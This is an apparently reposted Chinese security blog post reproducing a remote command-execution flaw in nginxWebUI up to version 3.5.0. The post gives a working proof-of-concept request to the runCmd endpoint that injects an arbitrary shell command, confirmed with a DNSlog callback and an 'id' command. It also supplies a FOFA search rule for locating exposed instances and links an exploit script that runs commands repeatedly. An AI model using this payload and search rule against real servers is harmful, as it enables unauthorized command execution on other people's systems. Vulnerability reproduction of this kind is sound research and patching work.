nginxWebUI runCmd命令执行漏洞简单复现

admin 2023年7月5日18:53:47评论102 views字数 887阅读2分57秒阅读模式

1.漏洞描述

nginxWebUI是一款图形化管理nginx配置的工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发,tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf文件, 同时可控制nginx使用此文件进行启动与重载, 完成对nginx图形化控制闭环.

参考自官方网站:https://www.nginxwebui.cn/

nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。

该漏洞利用条件简单,漏洞危害较高。

影响版本:nginxWebUI <= 3.5.0

2.漏洞复现

poc

url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx

fofa规则:app="nginxWebUI"

nginxWebUI runCmd命令执行漏洞简单复现
image.png

在这里以dnslog平台来进行测试:

http://www.dnslog.cn/

nginxWebUI runCmd命令执行漏洞简单复现
image.png

直接输入刚刚的poc测试:

nginxWebUI runCmd命令执行漏洞简单复现
image.png
nginxWebUI runCmd命令执行漏洞简单复现
image.png

此时证明漏洞存在,测试下能否执行命令回显:

在这里使用id命令:

url地址 + /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx
nginxWebUI runCmd命令执行漏洞简单复现
image.png

4.exp

相关脚本已上传至github

https://github.com/crow821/crowsec

你也可以在乌鸦安全公众号后台回复关键字:nginx 下载

单个脚本可以一直执行命令:

nginxWebUI runCmd命令执行漏洞简单复现
image.png

在这里注意我前面有一个运行失败的标志:

nginxWebUI runCmd命令执行漏洞简单复现
image.png

在这里主要是考虑如果遇到英文环境,在这里可能会变化掉,所以我对此做了保留:

nginxWebUI runCmd命令执行漏洞简单复现
image.png

主要是为了适配一些非UTF-8的环境,如果你有强迫症的话,你可以将这句话修改下:

res = re.findall('<br>运行失败<br>(.*?)<br>nginx<br>"}', result)
nginxWebUI runCmd命令执行漏洞简单复现
image.png

感觉影响其实不大。

原文始发于微信公众号(乌鸦安全):nginxWebUI runCmd命令执行漏洞简单复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月5日18:53:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nginxWebUI runCmd命令执行漏洞简单复现https://cn-sec.com/archives/1855812.html

发表评论

匿名网友 填写信息